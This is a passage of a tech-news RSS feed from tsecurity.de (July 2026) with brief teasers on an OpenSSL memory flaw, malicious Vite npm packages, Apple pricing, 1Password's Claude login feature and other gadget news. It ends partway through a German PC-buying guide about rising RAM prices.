<title><![CDATA[OpenSSL „HollowByte“: 11-Byte-TLS-Anfragen frieren Server-Speicher ein]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine scheinbar harmlose TLS-Nachricht mit nur 11 Byte kann ungepatchte OpenSSL-Server dazu bringen, bis zu 131 KB Speicher pro Verbindung vorzuhalten und nie wieder freizugeben. In Tests führte das zu steigenden Heap-Fragmenten und im Extremfall zu OOM-Kills, selbst ohne di...]]></description>
<link>https://tsecurity.de/de/3677014/it-security-nachrichten/openssl-hollowbyte-11-byte-tls-anfragen-frieren-server-speicher-ein/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677014/it-security-nachrichten/openssl-hollowbyte-11-byte-tls-anfragen-frieren-server-speicher-ein/</guid>
<pubDate>Fri, 17 Jul 2026 22:53:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-openssl-hollowbyte-tls-memory-glibc.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-openssl-hollowbyte-tls-memory-glibc.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-openssl-hollowbyte-tls-memory-glibc-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-openssl-hollowbyte-tls-memory-glibc-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-openssl-hollowbyte-tls-memory-glibc-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-openssl-hollowbyte-tls-memory-glibc-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-openssl-hollowbyte-tls-memory-glibc-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine scheinbar harmlose TLS-Nachricht mit nur 11 Byte kann ungepatchte OpenSSL-Server dazu bringen, bis zu 131 KB Speicher pro Verbindung vorzuhalten und nie wieder freizugeben. In Tests führte das zu steigenden Heap-Fragmenten und im Extremfall zu OOM-Kills, selbst ohne die typischen Hürde-Mechanismen von Authentifizierung oder Session-Setup. Kritisch ist dabei vor allem […]</p>
<div><a href="https://www.it-boltwise.de/openssl-hollowbyte-11-byte-tls-anfragen-frieren-server-speicher-ein.html">... den vollständigen Artikel <strong>»OpenSSL „HollowByte“: 11-Byte-TLS-Anfragen frieren Server-Speicher ein«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/openssl-hollowbyte-11-byte-tls-anfragen-frieren-server-speicher-ein.html">OpenSSL „HollowByte“: 11-Byte-TLS-Anfragen frieren Server-Speicher ein</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Seven Malicious Vite npm Packages Use Blockchain C2 to Deliver a RAT]]></title>
<description><![CDATA[Cybersecurity researchers have discovered a cluster of seven malicious npm packages targeting the Vite frontend tooling ecosystem as part of a software supply chain attack. The malicious package campaign, codenamed ViteVenom by Checkmarx, marks an expansion of ChainVeil, which was…
Read more →
Th...]]></description>
<link>https://tsecurity.de/de/3676910/it-security-nachrichten/seven-malicious-vite-npm-packages-use-blockchain-c2-to-deliver-a-rat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676910/it-security-nachrichten/seven-malicious-vite-npm-packages-use-blockchain-c2-to-deliver-a-rat/</guid>
<pubDate>Fri, 17 Jul 2026 21:38:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cybersecurity researchers have discovered a cluster of seven malicious npm packages targeting the Vite frontend tooling ecosystem as part of a software supply chain attack. The malicious package campaign, codenamed ViteVenom by Checkmarx, marks an expansion of ChainVeil, which was…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/seven-malicious-vite-npm-packages-use-blockchain-c2-to-deliver-a-rat/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/seven-malicious-vite-npm-packages-use-blockchain-c2-to-deliver-a-rat/">Seven Malicious Vite npm Packages Use Blockchain C2 to Deliver a RAT</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Seven Malicious Vite npm Packages Use Blockchain C2 to Deliver a RAT]]></title>
<description><![CDATA[Cybersecurity researchers have discovered a cluster of seven malicious npm packages targeting the Vite frontend tooling ecosystem as part of a software supply chain attack.

The malicious package campaign, codenamed ViteVenom by Checkmarx, marks an expansion of ChainVeil, which was observed using...]]></description>
<link>https://tsecurity.de/de/3676891/it-security-nachrichten/seven-malicious-vite-npm-packages-use-blockchain-c2-to-deliver-a-rat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676891/it-security-nachrichten/seven-malicious-vite-npm-packages-use-blockchain-c2-to-deliver-a-rat/</guid>
<pubDate>Fri, 17 Jul 2026 21:23:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cybersecurity researchers have discovered a cluster of seven malicious npm packages targeting the Vite frontend tooling ecosystem as part of a software supply chain attack.

The malicious package campaign, codenamed ViteVenom by Checkmarx, marks an expansion of ChainVeil, which was observed using an "unprecedented" four-tier blockchain-based command-and-control (C2) infrastructure spanning Tron,]]></content:encoded>
</item>
<item>
<title><![CDATA[Is Apple One worth it in summer 2026 after the latest price increases?]]></title>
<description><![CDATA[Following price increases for Apple Music and two Apple One tiers, Apple One still offers substantial savings for people who regularly use its included services, but the value depends on what they would otherwise buy separately.Apple OneThe Apple One bundle arrived in 2020 and has become a common...]]></description>
<link>https://tsecurity.de/de/3676873/ios-mac-os/is-apple-one-worth-it-in-summer-2026-after-the-latest-price-increases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676873/ios-mac-os/is-apple-one-worth-it-in-summer-2026-after-the-latest-price-increases/</guid>
<pubDate>Fri, 17 Jul 2026 21:06:48 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Following price increases for Apple Music and two Apple One tiers, <a href="https://appleinsider.com/inside/apple-one" title="Apple One" data-kpt="1">Apple One</a> still offers substantial savings for people who regularly use its included services, but the value depends on what they would otherwise buy separately.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68281-143929-Apple-One-xl.jpg" alt="Apple One logo on a black background with icons for Apple Music, Apple TV, Apple Arcade, Apple News, Apple Fitness rings, and iCloud services displayed in a row" height="738"><span>Apple One</span></div><br>The Apple One bundle arrived in 2020 and has become a common option for Apple device owners who subscribe to several of the company's services. It offers three tiers aimed at individuals, families, and people who want nearly everything included.<br><br>However, favorite services can <a href="https://appleinsider.com/articles/25/08/22/is-apple-one-worth-the-money-as-2026-nears">come bundled</a> with subscriptions that receive little or no use. <a href="https://appleinsider.com/inside/apple-tv" title="Apple TV" data-kpt="1">Apple TV</a> viewers might not need Apple Fitness+, while Apple Music subscribers may have no interest in Apple Arcade.<br><br>Apple Music prices increased in the United States <a href="https://appleinsider.com/articles/26/07/17/apple-music-gets-first-us-price-hike-in-four-years">on July 17</a>, with Individual rising by $1 to $11.99 per month, Student increasing by $1 to $6.99, and Family climbing by $3 to $19.99. Apple One Individual remained at $19.95, while Family increased by $2 to $27.95 and Premier rose by $2 to $39.95.<br><br><br> <a href="https://appleinsider.com/articles/26/07/17/is-apple-one-worth-it-in-summer-2026-after-the-latest-price-increases?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244987?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kodak's new point-and-shoot 35mm film camera comes in 7 vibrant colors, costs just $35, and brings back one of my favorite pieces of camera design]]></title>
<description><![CDATA[Reminiscent of the classic Olympus Mju, the new 35mm film camera costs just $35.]]></description>
<link>https://tsecurity.de/de/3676580/it-nachrichten/kodaks-new-point-and-shoot-35mm-film-camera-comes-in-7-vibrant-colors-costs-just-35-and-brings-back-one-of-my-favorite-pieces-of-camera-design/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676580/it-nachrichten/kodaks-new-point-and-shoot-35mm-film-camera-comes-in-7-vibrant-colors-costs-just-35-and-brings-back-one-of-my-favorite-pieces-of-camera-design/</guid>
<pubDate>Fri, 17 Jul 2026 18:20:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Reminiscent of the classic Olympus Mju, the new 35mm film camera costs just $35.]]></content:encoded>
</item>
<item>
<title><![CDATA[5 underrated iOS 27 features that make my iPhone way better - and none are Siri AI]]></title>
<description><![CDATA[Some of my favorite new features in iOS 27 are flying under the radar, but no less impactful.]]></description>
<link>https://tsecurity.de/de/3676255/it-nachrichten/5-underrated-ios-27-features-that-make-my-iphone-way-better-and-none-are-siri-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676255/it-nachrichten/5-underrated-ios-27-features-that-make-my-iphone-way-better-and-none-are-siri-ai/</guid>
<pubDate>Fri, 17 Jul 2026 16:02:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Some of my favorite new features in iOS 27 are flying under the radar, but no less impactful.]]></content:encoded>
</item>
<item>
<title><![CDATA[Even Microsoft couldn’t make Windows 11 work well on 8GB of RAM]]></title>
<description><![CDATA[Last year, Microsoft's 13-inch Surface Laptop quickly became one of my favorite thin-and-light Windows notebooks. At $900, it was easy to recommend to anyone wanting MacBook Air-like build quality and battery life on Windows - I even convinced my sister to buy one on sale. But that was last year....]]></description>
<link>https://tsecurity.de/de/3676237/it-nachrichten/even-microsoft-couldnt-make-windows-11-work-well-on-8gb-of-ram/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676237/it-nachrichten/even-microsoft-couldnt-make-windows-11-work-well-on-8gb-of-ram/</guid>
<pubDate>Fri, 17 Jul 2026 15:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Last year, Microsoft's 13-inch Surface Laptop quickly became one of my favorite thin-and-light Windows notebooks. At $900, it was easy to recommend to anyone wanting MacBook Air-like build quality and battery life on Windows - I even convinced my sister to buy one on sale. But that was last year. This year, thanks to RAMageddon, […]]]></content:encoded>
</item>
<item>
<title><![CDATA[1Password Now Lets Claude Log In Without Seeing Your Passwords]]></title>
<description><![CDATA[If you want an artificial intelligence tool to book a flight or buy an audiobook, it usually needs to log into your personal accounts. Sharing your private login details directly with a chatbot feels risky, but a new software update changes that process entirely. The popular password manager 1Pas...]]></description>
<link>https://tsecurity.de/de/3676172/ios-mac-os/1password-now-lets-claude-log-in-without-seeing-your-passwords/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676172/ios-mac-os/1password-now-lets-claude-log-in-without-seeing-your-passwords/</guid>
<pubDate>Fri, 17 Jul 2026 15:26:07 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you want an artificial intelligence tool to book a flight or buy an audiobook, it usually needs to log into your personal accounts. Sharing your private login details directly with a chatbot feels risky, but a new software update changes that process entirely. The popular password manager 1Password just built a clever way for the smart assistant Claude to access your online accounts without ever actually seeing your private passwords or verification codes.



The new tool needs your fingerprint to approve each login



When Claude needs to get into a website to finish a task, it sends a prompt to your 1Password app. You will see exactly what site the agent wants to access and why it needs to go there. To approve the request, you just use a biometric check, like a quick fingerprint scan on your keyboard.



Once you approve the request, 1Password drops the username and password directly into the website form. The actual text of the password never goes to Claude, its memory banks, or the servers at Anthropic. This method keeps your sensitive data strictly on your own device while the digital assistant does its job.



A special lockdown mode keeps your main password vault hidden



Along with this handy feature, 1Password introduced a security setting called Agentic Mode. Whenever a supported AI bot takes control of your web browser, this mode automatically locks down your entire vault. The bot can only use the specific login details you just approved for that exact moment, so your other accounts stay completely off limits.



Right now, this setup is only available for Mac users on individual, family, or business plans. You need the desktop apps and browser extensions for both 1Password and Claude to make it work. The company also plans to add support for payment cards and identity details later, making it easier to let your digital helper handle online shopping.



Instead of forcing you to choose between convenience and security, this integration proves we can safely trust digital assistants with daily chores. It sets a clear, safe standard for how smart apps should handle our private data moving forward.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Continues To See Steady Flow Of Android Switchers In 2026]]></title>
<description><![CDATA[Getting people to switch their phone setup remains a top goal for Apple. According to new research from Consumer Intelligence Research Partners, a solid chunk of buyers are still making the leap from rival devices. The firm looked closely at people who bought a new iPhone in the US during the fir...]]></description>
<link>https://tsecurity.de/de/3676124/ios-mac-os/apple-continues-to-see-steady-flow-of-android-switchers-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676124/ios-mac-os/apple-continues-to-see-steady-flow-of-android-switchers-in-2026/</guid>
<pubDate>Fri, 17 Jul 2026 15:06:49 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Getting people to switch their phone setup remains a top goal for Apple. According to new research from Consumer Intelligence Research Partners, a solid chunk of buyers are still making the leap from rival devices. The firm looked closely at people who bought a new iPhone in the US during the first few months of the year to see exactly what phone they used before upgrading.



Twelve percent of recent buyers moved from an Android device



During the March 2026 quarter, survey data showed that 12 percent of new smartphone purchases came directly from people who previously owned an Android device. The research group tracks this by asking buyers about their prior phone and operating system when they make a new purchase.



This current number falls right in line with recent historical trends. Over the past few years, the rate of users leaving devices powered by Google to join the iOS platform has mostly settled between 11 and 15 percent. The early days of mobile carrier expansion saw massive waves of people jumping ship, but the market has now reached a much more predictable rhythm.



While the massive spikes of platform switching are mostly in the past, pulling in more than one out of every ten new buyers from a rival company is a steady win. It shows that the platform still holds strong appeal for those looking to change their daily tech routine.]]></content:encoded>
</item>
<item>
<title><![CDATA[Linkdump 29/2026]]></title>
<description><![CDATA[Viel Spass bei den von mir als lesenswert empfundenen Links auf Artikel, die ich in der vergangenen Woche gelesen habe.

Interesting for everyone who wants to start a newsletter as well. How I Built My Own Newsletter Setup (And Why).

From Metrics to Meaning, don't forget to step back and see the...]]></description>
<link>https://tsecurity.de/de/3675919/it-nachrichten/linkdump-292026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675919/it-nachrichten/linkdump-292026/</guid>
<pubDate>Fri, 17 Jul 2026 13:48:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Viel Spass bei den von mir als lesenswert empfundenen Links auf Artikel, die ich in der vergangenen Woche gelesen habe.<br>
<br>
Interesting for everyone who wants to start a newsletter as well. <a href="https://endler.dev/2026/newsletter-setup/">How I Built My Own Newsletter Setup (And Why)</a>.<br>
<br>
<a href="https://mikefisher.substack.com/p/from-metrics-to-meaning">From Metrics to Meaning</a>, don't forget to step back and see the whole picture.<br>
<br>
Interesting insight from the "new" CEO,  <a href="https://bitwarden.com/blog/my-first-100-days-at-bitwarden/">My first 100 days at Bitwarden</a>.<br>
<br>
<a href="https://projekte-leicht-gemacht.de/blog/projektmanagement-praxis/abstimmungen-als-zeitfresser-im-projekt/">Warum „kurz abstimmen“ im Projekt so viel Zeit frisst</a> – oh, ja, wie wahr.<br>
<br>
You can be busy without even doing something, <a href="https://nesslabs.com/newsletter/busyness-trap">The Busyness Trap</a>.<br>
<br>
<a href="https://www.scotthyoung.com/blog/2026/04/23/motivate-yourself-to-do-anything/">How to Motivate Yourself to Do Anything</a>, yes, good catches.<br>]]></content:encoded>
</item>
<item>
<title><![CDATA[PC-Kaufberatung 2026: RAM kostet jetzt das 4x – hier 3 Setups, mit denen Sie sparen]]></title>
<description><![CDATA[Lange Zeit galten fallende Hardware-Preise als Naturgesetz: Wer ein paar Monate wartete, bekam mehr Leistung für weniger Geld. Mitte 2026 gelten diese Regeln leider nicht mehr. Der gigantische Hunger der Rechenzentren nach KI-Beschleunigern saugt die Produktionskapazitäten der großen Halbleiterfe...]]></description>
<link>https://tsecurity.de/de/3675470/it-nachrichten/pc-kaufberatung-2026-ram-kostet-jetzt-das-4x-hier-3-setups-mit-denen-sie-sparen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675470/it-nachrichten/pc-kaufberatung-2026-ram-kostet-jetzt-das-4x-hier-3-setups-mit-denen-sie-sparen/</guid>
<pubDate>Fri, 17 Jul 2026 10:32:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Lange Zeit galten fallende Hardware-Preise als Naturgesetz: Wer ein paar Monate wartete, bekam mehr Leistung für weniger Geld. Mitte 2026 gelten diese Regeln leider nicht mehr. Der gigantische Hunger der Rechenzentren nach <a href="https://www.pcwelt.de/article/2806063/so-macht-chatgpt-ihren-alltag-spuerbar-leichter-16-aufgaben-rasch-erledigen-lassen.html">KI</a>-Beschleunigern saugt die Produktionskapazitäten der großen Halbleiterfertiger leer – Besserung ist erst einmal nicht in Sicht. Für Endverbraucher bedeutet das: Wer jetzt einen neuen Desktop-PC braucht, sieht sich mit einem <a href="https://www.pcwelt.de/article/3027453/nvidia-und-amd-erwagen-die-wiederbelebung-alterer-chips-um-den-steigenden-pc-kosten-entgegenzuwirken.html" target="_blank" rel="noreferrer noopener">äußerst angespannten Markt</a> konfrontiert.</p>



<div class="ppl_wrap"><div class="top_head"><p class="pro_tag">PROMOTION</p><p><strong>Ihr Laptop kann nur ein Ding? Dieses 2-in-1-Modell passt sich Ihrem Workflow an</strong></p></div><div class="ppl_row"><div class="pro_right promotion-item__image-outer-wrapper--small"><img decoding="async" class="promotion-item__image" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/HP-PPL-5.png" loading="lazy"></div><p class="ppl_text">
</p><p>Das HP OmniBook 5 Flip bietet dank 360°-Scharnier vier Nutzungsmodi – vom klassischen Laptop bis zum Tablet. Der Intel® Core™ 7 Prozessor sorgt für flüssiges Arbeiten im Alltag. Das 14 Zoll 2K-Touchdisplay (1.920 x 1.200) stellt Inhalte gestochen scharf dar, 16 GB RAM und 512 GB SSD bieten Leistung und Platz für Ihre Projekte. Die Fast-Charge-Funktion bringt Sie schnell zurück auf 50 % Akkuladung.</p>
</div><div class="clear-both"></div><div class="more_btn"><a href="http://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11657&amp;clickref=rss&amp;ued=https://www.cyberport.de/notebook-und-tablet/notebooks/hp/pdp/1c24-6zr/hp-omnibook-5-flip-14-2k-touchscreen-core-7-150u-16gb-512gb-ssd-windows-11-home-14-fp0471ng.html" target="_blank" class="promotion-view-deal-link" rel="noopener">Erfahren Sie mehr über das HP OmniBook 5 Flip</a></div></div>



<p>Gleichzeitig ist die technische Verlockung groß: Mit Nvidias <a href="https://www.pcwelt.de/article/2572482/geforce-rtx-5000er-im-technik-check-nicht-jede-ist-zu-empfehlen.html" target="_blank" rel="noreferrer noopener">Blackwell-Architektur</a> (RTX 50-Serie) und AMDs effizienten <a href="https://www.pcwelt.de/article/2428752/amd-ryzen-9000-pro-contra-acht-gruende-fuer-oder-gegen-kauf-beratung.html" target="_blank" rel="noreferrer noopener">Ryzen-9000</a>-Prozessoren stehen technologische Schwergewichte in den Regalen, die einen massiven Leistungssprung versprechen. Lohnt sich also das Warten auf bessere Preise? Die klare Antwort lautet: <strong>Nein, zumindest nicht in absehbarer Zeit.</strong> Wer jetzt einen neuen PC braucht, muss nicht warten – sollte aber clever konfigurieren, um die aktuellen Stolpersteine der Industrie zu umschiffen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a59e877623fb"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/RAM-Preise-Idealo-DDR5-7200.png?w=1200" alt="RAM Preise Idealo DDR5 7200" class="wp-image-3173112" width="1200" height="816" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Preisschock beim Arbeitsspeicher: Besonders für schnellen DDR5-RAM haben sich die Preise teils vervierfacht. Der zwingende Kompromiss: Statt zu DDR5-7200 greifen wir aktuell besser zu DDR5-6000 – oder gleich zum älteren DDR4-Speicher.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<p><strong>Der RAM-Schock – und wie man damit umgeht</strong></p>



<p>Während CPUs und Grafikkarten zwar teuer, aber immerhin verlässlich lieferbar sind, entwickelt sich der Arbeitsspeicher (<a href="https://www.pcwelt.de/article/2894110/dieser-arbeitsspeicher-ist-aktuell-die-beste-wahl-fuer-gamer.html" target="_blank" rel="noreferrer noopener">RAM</a>) immer mehr zum Schmerzpunkt für jeden PC-Bauer. Der Grund: Die großen Speicherhersteller priorisieren zunehmend den lukrativen <strong>HBM-Speicher</strong> (High Bandwidth Memory) für KI-Chips und <strong>schichten ihre Produktionskapazitäten um</strong>. Gleichzeitig saugen die neuen KI-Rechenzentren den verbleibenden Markt für klassischen DDR5-Arbeitsspeicher leer, da moderne Server-Cluster neben HBM auch gigantische Mengen an regulärem RAM benötigen. Für den klassischen Desktop-Markt stehen dadurch deutlich weniger Produktionskapazitäten zur Verfügung. Die Folge ist eine drastische Verknappung bei herkömmlichen Riegeln. DDR5-Kits kosten aktuell teilweise viermal so viel wie noch im Herbst 2025 – ein vernünftiges 32-GB-Kit reißt schnell ein Loch von über 400 Euro in die Kasse. Aus dieser Entwicklung ergeben sich neue Spielregeln für den PC-Kauf, mit denen sich die Preisexplosion spürbar entschärfen lässt.</p>



<ul class="wp-block-list">
<li><strong>Geschwindigkeit drosseln:</strong> Wer Premium-Preise zahlt, den erwartet auch Premium-Leistung. Doch extrem schneller Speicher wie DDR5-7200 rechnet sich aktuell wirtschaftlich kaum. Der Sweetspot für moderne AMD- und Intel-Systeme liegt 2026 bei <strong>DDR5-6000</strong> – idealerweise mit CL30-Latenzen (z.B. <a href="https://www.amazon.de/dp/B0D4NLTM6R?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Patriot Viper Venom DDR5-6000 2X16GB, CL30</a>). Der Leistungsunterschied im Alltag ist marginal, die Preisersparnis deutlich spürbar.</li>



<li><strong>Verzichten Sie auf „Zukunfts-Speck“:</strong> Niemand sollte aktuell Arbeitsspeicher auf Vorrat kaufen. Hat man früher gerne großzügig verbaut und direkt zu 64 GB gegriffen, so lautet die Devise heute: 32 GB sind für die meisten Gamer und Kreativanwender (Videoschnitt) aktuell der vernünftige Sweetspot. Mehr Kapazität verschlingt nur das dringend benötigte Budget für die Grafikkarte oder den Prozessor. Ausnahme: bedingungslose High-End-Konfigurationen.</li>



<li><strong>DDR4 als Rettungsanker:</strong> Für reine Office-PCs oder sparsame Builds lohnt sich 2026 paradoxerweise der Blick in die Vergangenheit. Eine alte AM4-Plattform mit DDR4-Speicher (z.B. <a href="https://www.amazon.de/dp/B07RW6Z692?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Corsair Vengeance DDR4-3200 2x16GB, CL16</a>) kostet einen Bruchteil moderner Systeme. Die DDR4-Preise sind zwar branchenbedingt ebenfalls gestiegen, allerdings etwas moderater. Für aktuelle Gaming-Boliden (wie die <a href="https://www.pcwelt.de/article/3058167/die-besten-amd-am5-mainboards.html" target="_blank" rel="noreferrer noopener">AM5-Plattform</a>) führt jedoch kein Weg am teuren DDR5-Speicher vorbei.</li>
</ul>
</div>



<h2 class="wp-block-heading">Drei Beispiel-Konfigurationen: Für jeden Anspruch das richtige Setup</h2>



<p>Die strategischen Fragen sind geklärt, wir machen uns ans Eingemachte. In den folgenden drei Setups listen wir die besten Kernkomponenten für ein optimales Preis-Leistungsverhältnis auf. Um Ihnen maximale Flexibilität zu ermöglichen, nennen wir innerhalb der Konfigurationen unterschiedliche Komponenten: So können Sie je nach persönlicher Vorliebe gezielt den Preis beeinflussen, mehr Leistung herausholen oder zwischen AMD und Intel wechseln, wenn sich das sinnvoll anbietet.</p>



<div class="wp-block-idg-base-theme-box-text inline-box">
<p><strong>📌</strong><strong> Redaktioneller Hinweis zur Preiskalkulation</strong></p>



<p>Die nachfolgenden Preisrahmen beziehen sich rein auf die <strong>Kern-Komponenten des PCs </strong>(Zentralrechner). Nicht eingerechnet sind optionale Zusatzlüfter (falls nicht ab Werk verbaut), separate optische Laufwerke sowie externe Peripherie wie Monitor, Tastatur, Maus oder die Lizenz für das Betriebssystem (Windows 11). Planen Sie dafür je nach Bedarf ein zusätzliches Budget ein. Beratung beim Kauf bieten unsere Ratgeber und Vergleichstests:</p>



<ul class="wp-block-list">
<li><a href="https://www.pcwelt.de/article/3127541/beste-grafikkarten-fuer-gamer.html" target="_blank" rel="noreferrer noopener">Diese Grafikkarten sind ihr Geld wert</a></li>



<li><a href="https://www.pcwelt.de/article/1165008/der-ideale-gaming-prozessor-tipps-zum-cpu-kauf.html" target="_blank" rel="noreferrer noopener">Der ideale Gaming-Prozessor ab 80 Euro</a></li>



<li><a href="https://www.pcwelt.de/article/3058167/die-besten-amd-am5-mainboards.html" target="_blank" rel="noreferrer noopener">Die besten AM5-Mainboards für AMD Ryzen 9000, 8000 und 7000</a></li>



<li><a href="https://www.pcwelt.de/article/3143204/beste-netzteile-ab-650-watt.html" target="_blank" rel="noreferrer noopener">Die besten PC-Netzteile: Unsere Empfehlungen von 650 bis 1650 Watt</a></li>



<li><a href="https://www.pcwelt.de/article/3041188/bester-monitor-test.html" target="_blank" rel="noreferrer noopener">Die besten Monitore für Office, Gaming &amp; 4K</a></li>



<li><a href="https://www.pcwelt.de/article/1202798/test-kabellose-tastaturen.html" target="_blank" rel="noreferrer noopener">Die besten kabellosen Tastaturen im Test</a></li>



<li><a href="https://www.pcwelt.de/article/1187432/vergleich-test-wireless-gaming-maus-drahtlos.html" target="_blank" rel="noreferrer noopener">Die besten kabellosen Gaming-Mäuse im Test</a></li>



<li><a href="https://www.pcwelt.de/article/1178130/test-gaming-headsets-vergleich.html" target="_blank" rel="noreferrer noopener">Die besten Gaming-Headsets im Test</a></li>



<li><a href="https://www.pcwelt.de/article/3165064/windows-11-pro-fur-69-euro-im-pc-welt-store.html" target="_blank" rel="noreferrer noopener">Windows 11 Pro für 69 Euro im PC-WELT-Store</a></li>
</ul>
</div>



<h2 class="wp-block-heading">Konfiguration 1: Der Office- und Alltags-PC</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a59e877630f5"}' data-wp-interactive="core/image" class="wp-block-image size-full is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/Ryzen-5-4600G.jpg?quality=50&amp;strip=all" alt="Ryzen 5 4600G" class="wp-image-3173118" width="789" height="776" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Der Star dieses Setups: Der Ryzen 5 5600G verfügt über eine integrierte Grafikeinheit und macht eine dedizierte Grafikkarte im Office-PC überflüssig. Das senkt den Gesamtpreis deutlich, erlaubt aber nur leichtes Gaming auf Einsteiger-Niveau.</figcaption></figure><p class="imageCredit">AMD</p></div>



